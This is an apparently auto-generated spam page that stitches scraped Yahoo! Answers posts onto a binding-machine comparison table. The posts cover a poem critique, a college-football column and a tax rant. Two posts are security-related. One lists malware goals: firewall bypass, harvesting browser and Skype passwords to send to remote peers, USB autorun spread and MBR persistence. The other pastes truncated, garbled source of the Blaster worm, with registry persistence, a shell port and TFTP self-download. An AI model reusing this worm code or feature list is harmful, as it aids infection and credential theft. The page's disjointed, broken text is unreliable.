Top 5 Best Binding Machines & Comparison

Top 5 Best Binding Machines & Comparison



Model
Price
Amazon Rating
Type of Binding Machine
Method of Punching
Punching Capacity
Binding Capacity
Fellowes Pulsar 300 Plastic Comb Binding Machine
Fellowes Pulsar 300
$100-200
4.4
Comb Binding
Manual
15 sheets
300 sheets with a 1-1/2" comb
GBC CombBind C20 Plastic Comb Binding Machine
GBC CombBind C20
$100-200
4.7
Comb Binding
Manual
20 sheets
330 sheets
Fellowes Quasar E 500 Plastic Comb Binding Machine
Fellowes Quasar E 500
$200-300
4.7
Comb Binding
Electric
20 sheets
500 sheets with a 2" comb
Akiles RubiCoil 4:1 Pitch Coil Binding Machine
Akiles RubiCoil
$100-200
N/A
Coil Binding
Manual
10 sheets
N/A
GBC ProClick P50 Wire Binding Machine
GBC ProClick P50
$50-100
4.1
Wire Binding
Manual
6 sheets
100 sheets



We have tabulated the necessary purchasing criteria of binding machine in the table above. You can get a quick overview of the recommended binding machines by comparing the price and Amazon rating.

Click the model name to visit our review of that binding machine.

Click the binding machine price to check current Amazon pricing and in-stock conditions.

Q&A: What do you think of this poem?

Question by Sara: What do you think of this poem?
For school, I have to write a poem about writing, and what it was to us. Here is mine. I don’t feel it’s quite right so I’d really appreciate some advice or opinions. Thanks!

I weave together words, leaving a verdict in my wake
Filling the pauses with a melodic noise.
Syllables are the metronome, the tic-tock that pounds out each mistake
Until the machine hums out the beauty beholden in my choice.
Reflected in myself, I see the people I create
It’s from my mind–my rib they’re made.
Fermenting there, that’s where they grate
Until somewhere on paper they have strayed.
Innate gears tremble, tumbling under the weight
Left by the mass amount words,
Reorganizing themselves, until they stand straight
Organized to a v in the way of soaring birds.
For its structure that imprisons me, grammar is the bind
That shakes as the digits hit the keys,
For this is the monster, I find myself entwined
Much too wrapped up in, too in love with, to ever leave.

Best answer:

Answer by marcu8877
Well, I’m having trouble finding a meter. Other than that, its actually pretty good.

Know better? Leave your own answer in the comments!

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • NewsVine
  • Reddit
  • StumbleUpon
  • Google Bookmarks
  • Yahoo! Buzz
  • Twitter
  • Technorati
  • Live
  • LinkedIn
  • MySpace
  • MySpace

Read this on OU-Texas confusion?

Question by paperclip: Read this on OU-Texas confusion?
didn’t write this article…but I certainly could have!!! sorry its so long

Article from today’s Fort Worth Star Telegram…
Human Element is the Bug in the BCS System
In the eternal struggle of man versus machine, man failed miserably Sunday.
That’s not to say that the right team won’t be playing in the Big 12 Championship Game on Saturday. The Oklahoma Sooners argued their case eloquently.

They said nothing.

No rented planes circling over Austin. No phone-ins from Bob Stoops in the middle of Mack Brown’s Thanksgiving dinner.

Just football. Just a 61-41 victory in hostile environs over a VERY GOOD, No. 11-ranked archrival.

The Sooners’ decisive win Saturday over Oklahoma State was as significant a road victory as any team in the Big 12 Conference achieved this season.

There’s your tiebreaker.

As myopic Texas fans – and their head coach – conveniently decline to acknowledge, there was a three-way knot, not a two-team tie, atop the Big 12 South standings.

Why should a single game played Oct. 11 decide everything? Why not a game played Nov.
1?

Yet, over and over again over the past two weeks, Brown had filibustered for voters not to forget his Texas team’s October victory over20the Sooners.

Never mind, he seemed to say, that just one week ago Oklahoma took apart a then-undefeated, No. 2-ranked Texas Tech team by 44 points – the same Tech team that beat Texas on Nov. 1.

Never mind that the Sooners’ season ledger included nonconference victories over TCU and BCS-bowl-bound Cincinnati.

Longhorns fans countered by trumpeting their Oct. 18 – what is it about October? – win over the Missouri Tigers.

Oh, right. The team that Kansas beat.

In the end, what could Brown have done for me?
He could have just shut up and allowed his team’s memorable 11-1 season do the talking for all of Longhorns, Inc.

Instead, Brown began to show up on TV more than that Geico lizard. The poor-taste clincher came Saturday night when he agreed to be interviewed in the middle of the Oklahoma-Oklahoma State telecast.

Why didn’t Oklahoma do that, Stoops was asked Sunday?

“I was asked to be on the Texas game Thursday,” the OU coach said, “and I said no. I didn’t want to do it. I didn’t think it was right.

Stay classy, Austin, Stoops was saying, without mentioning any names.

But as Stoops and the Sooners saw, Brown’s politicking for his team worked. The Longhorns gained ground in both of the human polls.

Go figure. Texas, playing at home, defeated a vastly disappointing Texas A&M team 49-9 in a game that Colt McCoy was still quarterbacking in the fourth quarter.

Oklahoma, meanwhile, playing on the road, knocked off the No. 11 team in the nation – and yet lost ground in the human polls to the Texas poor-us campaign.

“It was the campaigning.
I don’t think there’s any question,” said Jerry Palm, whose CollegeBCS. com Web site is the bible for all things BCS.

For all the whining, in other words, about computers and formulas and BCS rules, the human element continues to be the bug in the equation. The same thing happened in 2004 when writers and coaches, after Brown again had politicked all week, leapfrogged Texas over Cal in the final poll and sent the Longhorns to the Rose Bowl.

Everyone seems to complain about the so-called “BCS computers,” but as Stoops said, “They don’t have agendas. They don’t have loyalties. They don’t have opinions. They don’t have all the bias that everyone else does.

“And if you say no one else does, I don’t think you’re being truthful.

When the numbers were finally added, Stoops thinks that the strength of Oklahoma’s schedule likely was the determining factor that will send his team to Kansas City next weekend.

It’s probably not going to make TCU feel any better, but the Horned Frogs might well have sent the Sooners to the national championship game.

“For people to continue to want to play out-of-conference games that people want to watch and go to and be excited about,” Stoops said, “there has to be an incentive. Otherwise, just schedule four wins and move on down the road. You could almost schedule a bowl game by that.

If Texas wants to blame anyone today, it needs to blame the guy that scheduled Florida Atlantic, UTEP, Arkansas and Rice. Similar cream-puff scheduling cost undefeated Auburn a title game shot in 2004.

This time, fortunately, the six BCS formula computers cut through the rhetoric.
They judged the football, not the filibuster. And Oklahoma came out the winner in more ways than one.

Best answer:

Answer by turnxx5
That was a really long rant! Sure, I agree with whatever it said if it makes you feel better.

By the way, are you going to watch once again as the Sooners get knocked out in a BCS game. What is their record in bowls recently?

Add your own answer in the comments!

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • NewsVine
  • Reddit
  • StumbleUpon
  • Google Bookmarks
  • Yahoo! Buzz
  • Twitter
  • Technorati
  • Live
  • LinkedIn
  • MySpace
  • MySpace

Question by Paul G: Could this financial meltdown been avoided if people were not taxed to death and thus saved more money?
It sure seems to me that when I struggle to get ahead and take care of my family there is always times when a washing machine needs a part, the car needs a major repair or my daughter needs ballet lesson money. I can handle these but when taxes are due on top of this it really puts me in a bind. If people did not borrow so much, payed less, not more in taxes, and we had less not more ineffective social programs wouldn’t't it negate the situation we are now in financially as a country? Are taxes really suppose to impoverish the giver or are they just meant to be extra money that you can easily do without?
I really think most people just want to pay their bills and have a pleasant life. No one I know is bankrupting themselves on expensive boats, fancy vacations or top shelf furniture. When i saw lower taxes I mean much lower like half, and going back 30 years. Government does not need to be so huge and wasteful. The essentials of government are but a small portion. Government incentives and grants do little good overall and take from productive peoplewhether in business or privately..

Best answer:

Answer by lemontree
What a novel idea!

What do you think? Answer below!

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • NewsVine
  • Reddit
  • StumbleUpon
  • Google Bookmarks
  • Yahoo! Buzz
  • Twitter
  • Technorati
  • Live
  • LinkedIn
  • MySpace
  • MySpace

Question by ??????: Virus writers, what’s the difficulty scale on this?
Just looking for a difficulty scale here…

OS: XP, fully patched as of 9/8/09
Zone Alarm Pro, with OSFirewall enabled

Have an app execute with these options succefully:

1. modify tcp.sys and bind Svchost.exe with your own code so as to bypass Firewall’s “new program trying to access internet, acting as server”
2. install background service so as to avoid “new program registered for startup” that searches for known remote peers and atempts to connect to them
3. Harvest all IE, firefox, Skype, Steam username and passwords within a given time to send to remote peers
4. Bind all non-system executables with your own code, registering autoruns to every new usb drive
5. Hook into sector 0-63 in the MBR so if user formats, machine code still remains

Just looking for a difficulty scale here…

Best answer:

Answer by Yoho
1 to 10 it would be 8 because of #5 the mbr is to small

#1 to 4 would be 3 if the file size doesn’t matter
6 if you want a small file.

Give your answer to this question below!

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • NewsVine
  • Reddit
  • StumbleUpon
  • Google Bookmarks
  • Yahoo! Buzz
  • Twitter
  • Technorati
  • Live
  • LinkedIn
  • MySpace
  • MySpace

Q&A: I can’t get this code to compile?

Question by Miles T: I can’t get this code to compile?
I am using microsoft visual C++ 2008, but I cant seem to get this to compile.Does it work for anyone else?

#include

#include /*IP_HDRINCL*/

#include /*InternetGetConnectedState*/

#include

#pragma comment (lib, “ws2_32.lib”)

#pragma comment (lib, “wininet.lib”)

#pragma comment (lib, “advapi32.lib”)

/*

* These strings aren’t used in the worm, I put them here

* so that whitehat researchers would discover them.

*/

const char msg1[]=”billy gates why do you make this possible ?”

” Stop making money and fix your software!!”;

const char* MSBLAST_EXE = “msblast.exe”;

/*

* MS-RPC/DCOM runs over port 135.

* DEFENSE: firewalling port 135 will prevent systems from

* being exploited and will hinder the spread of this worm.

*/

#define MSRCP_PORT_135 135

/*

* The TFTP protocol is defined to run on port 69. Once this

* worm breaks into a victim, it will command it to download

* the worm via TFTP. Therefore, the worms briefly runs a

* TFTP service to deliver that file.

* DEFENSE: firewalling 69/udp will prevent the worm from

* fully infected a host.

*/

#define TFTP_PORT_69 69

/*

* The shell-prompt is established over port 4444. The

* exploit code (in the variable ‘sc’) commands the victim

* to “bind a shell” on this port. The exploit then connects

* to that port to send commands, such as TFTPing the

* msblast.exe file down and launching it.

* DEFENSE: firewalling 4444/tcp will prevent the worm from

* spreading.

*/

#define SHELL_PORT_4444 4444

/*

* A simple string to hold the current IP address

*/

char target_ip_string[16];

/*

* A global variable to hold the socket for the TFTP service.

*/

int fd_tftp_service;

/*

* Global flag to indicate this thread is running. This

* is set when the thread starts, then is cleared when

* the thread is about to end.

* This demonstrates that Buford isn’t confident with

* multi-threaded programming — he should just check

* the thread handle.

*/

int is_tftp_running;

/*

* When delivering the worm file to the victim, it gets the

* name by querying itself using GetModuleFilename(). This

* makes it easier to change the filename or to launch the

* worm. */

char msblast_filename[256+4];

int ClassD, ClassC, ClassB, ClassA;

int local_class_a, local_class_b;

int winxp1_or_win2k2;

ULONG WINAPI blaster_DoS_thread(LPVOID);

void blaster_spreader();

void blaster_exploit_target(int fd, const char *victim_ip);

void blaster_send_syn_packet(int target_ip, int fd);

/***************************************************************

* This is where the ‘msblast.exe’ program starts running

***************************************************************/

void main(int argc, char *argv[])

{

WSADATA WSAData;

char myhostname[512];

char daystring[3];

char monthstring[3];

HKEY hKey;

LPDWORD ThreadId;

register unsigned long scan_local=0;

/*

* Create a registry key that will cause this worm

* to run every time the system restarts.

* DEFENSE: Slammer was “memory-resident” and could

* be cleaned by simply rebooting the machine.

* Cleaning this worm requires this registry entry

* to be deleted.

*/

RegCreateKeyEx(

/*hKey*/ HKEY_LOCAL_MACHINE,

/*lpSubKey*/ “SOFTWARE\Microsoft\Windows\”

“CurrentVersion\Run”,

/*Reserved*/ 0,

/*lpClass*/ NULL,

/*dwOptions*/ REG_OPTION_NON_VOLATILE,

/*samDesired */ KEY_ALL_ACCESS,

/*lpSecurityAttributes*/ NULL,

/*phkResult */ &hKey,

/*lpdwDisposition */ 0);

RegSetValueExA(

hKey,

“windows auto update”,

0,

REG_SZ,

(const BYTE*)MSBLAST_EXE,

50);

RegCloseKey(hKey);

/*

* Make sure this isn’t a second infection. A common problem

* with worms is that they sometimes re-infect the same

* victim repeatedly, eventually crashing it. A crashed

* system cannot spread the worm. Therefore, worm writers

* now make sure to prevent reinfections. The way Blaster

* does this is by creating a system “global” object called

* “BILLY”. If another program in the computer has already

* created “BILLY”, then this instance won’t run.

* DEFENSE: this implies that you can remove Blaster by

* creating a mutex named “BILLY”. When the computer

* restarts, Blaster will falsely believe that it has

* already infected the system and will quit.

*/

CreateMutexA(NULL, TRUE, “BILLY”);

if (GetLastError() == ERROR_ALREADY_EXISTS)

ExitProcess(0);

/*

* Windows systems requires “WinSock” (the network API layer)

* to be initialized. Note that the SYNflood attack requires

* raw sockets to be initialized, which only works in

* version 2.2 of WinSock.

* BUFORD: The following initialization is needl

Best answer:

Answer by BlueBoden
I’m not going to go through all that, but did you make sure to get the required files?

A lot of source code you find dosn’t just combile “out of the box”, you need to get the required files.

Add your own answer in the comments!

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • NewsVine
  • Reddit
  • StumbleUpon
  • Google Bookmarks
  • Yahoo! Buzz
  • Twitter
  • Technorati
  • Live
  • LinkedIn
  • MySpace
  • MySpace
 Page 5 of 15  « First  ... « 3  4  5  6  7 » ...  Last » 

Powered by Yahoo! Answers

Powered by WP Robot

Powered by Yahoo! Answers

Powered by WP Robot